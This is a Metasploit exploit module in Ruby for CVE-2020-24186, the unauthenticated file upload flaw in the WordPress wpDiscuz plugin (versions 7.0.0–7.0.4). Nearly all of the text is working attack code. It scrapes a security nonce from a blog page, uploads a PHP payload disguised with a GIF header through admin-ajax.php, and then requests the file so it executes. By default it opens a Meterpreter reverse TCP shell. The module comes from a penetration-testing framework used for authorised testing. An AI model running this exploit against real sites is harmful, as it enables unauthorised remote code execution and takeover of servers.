## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'WordPress wpDiscuz Unauthenticated File Upload Vulnerability', 'Description' => %q{ This module exploits an arbitrary file upload in the WordPress wpDiscuz plugin versions >= `7.0.0` and <= `7.0.4`. This flaw gave unauthenticated attackers the ability to upload arbitrary files, including PHP files, and achieve remote code execution on a vulnerable site’s server. }, 'Author' => [ 'Chloe Chamberland', # Vulnerability Discovery, initial msf module 'Hoa Nguyen - SunCSR' # Metasploit Module enhancement ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2020-24186'], ['WPVDB', '10333'], ['URL', 'https://www.wordfence.com/blog/2020/07/critical-arbitrary-file-upload-vulnerability-patched-in-wpdiscuz-plugin/'], ['URL', 'https://github.com/suncsr/wpDiscuz_unauthenticated_arbitrary_file_upload/blob/main/README.md'], ['URL', 'https://plugins.trac.wordpress.org/changeset/2345429/wpdiscuz'] ], 'Privileged' => false, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['wpDiscuz < 7.0.5', {}]], 'DisclosureDate' => '2020-02-21', 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }, 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK] } ) ) register_options [ OptString.new('BLOGPATH', [true, 'Link to the post [/index.php/2020/12/12/post1]', nil]), ] end def check check_plugin_version_from_readme('wpdiscuz', '7.0.5', '7.0.0') end def blogpath datastore['BLOGPATH'] end def find_wmusecurity_id res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, blogpath) }) fail_with(Failure::UnexpectedReply, 'Failed to access blog page') unless res wmusecurity_id = res.body.match(/wmuSecurity":"(\w+)/)&.captures unless wmusecurity_id fail_with(Failure::NotFound, 'Failed to retrieve the wmusecurity id') end wmusecurity_id end def exploit wmusecurity_id = find_wmusecurity_id[0] php_page_name = "#{rand_text_alpha(5..12)}.php" data = Rex::MIME::Message.new data.add_part('wmuUploadFiles', nil, nil, 'form-data; name="action"') data.add_part(wmusecurity_id, nil, nil, 'form-data; name="wmu_nonce"') data.add_part('undefined', nil, nil, 'form-data; name="wmuAttachmentsData"') data.add_part('1', nil, nil, 'form-data; name="postId"') data.add_part("GIF8#{payload.encoded}", 'image/gif', nil, "form-data; name=\"wmu_files[0]\"; filename=\"#{php_page_name}\"") post_data = data.to_s res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data ) fail_with(Failure::UnexpectedReply, 'Server did not respond') unless res unless res.code == 200 && res.body =~ /#{php_page_name}/ fail_with(Failure::UnexpectedReply, 'Unable to deploy payload') end json_data = JSON.parse(res.body) upload_url = json_data.dig('data', 'previewsData', 'images', 0, 'url') fail_with(Failure::UnexpectedReply, "#{peer} - Upload was unsuccessful") unless upload_url wp_shell_upload = upload_url.split('/').last fail_with(Failure::NotFound, "#{peer} - Path not found in response body") unless wp_shell_upload.ends_with?('.php') print_good("Payload uploaded as #{php_page_name}") register_file_for_cleanup(php_page_name) print_status('Calling payload...') time = Time.new year = time.year.to_s month = format('%02d', time.month) send_request_cgi( { 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', year.to_s, month.to_s, wp_shell_upload) } ) end end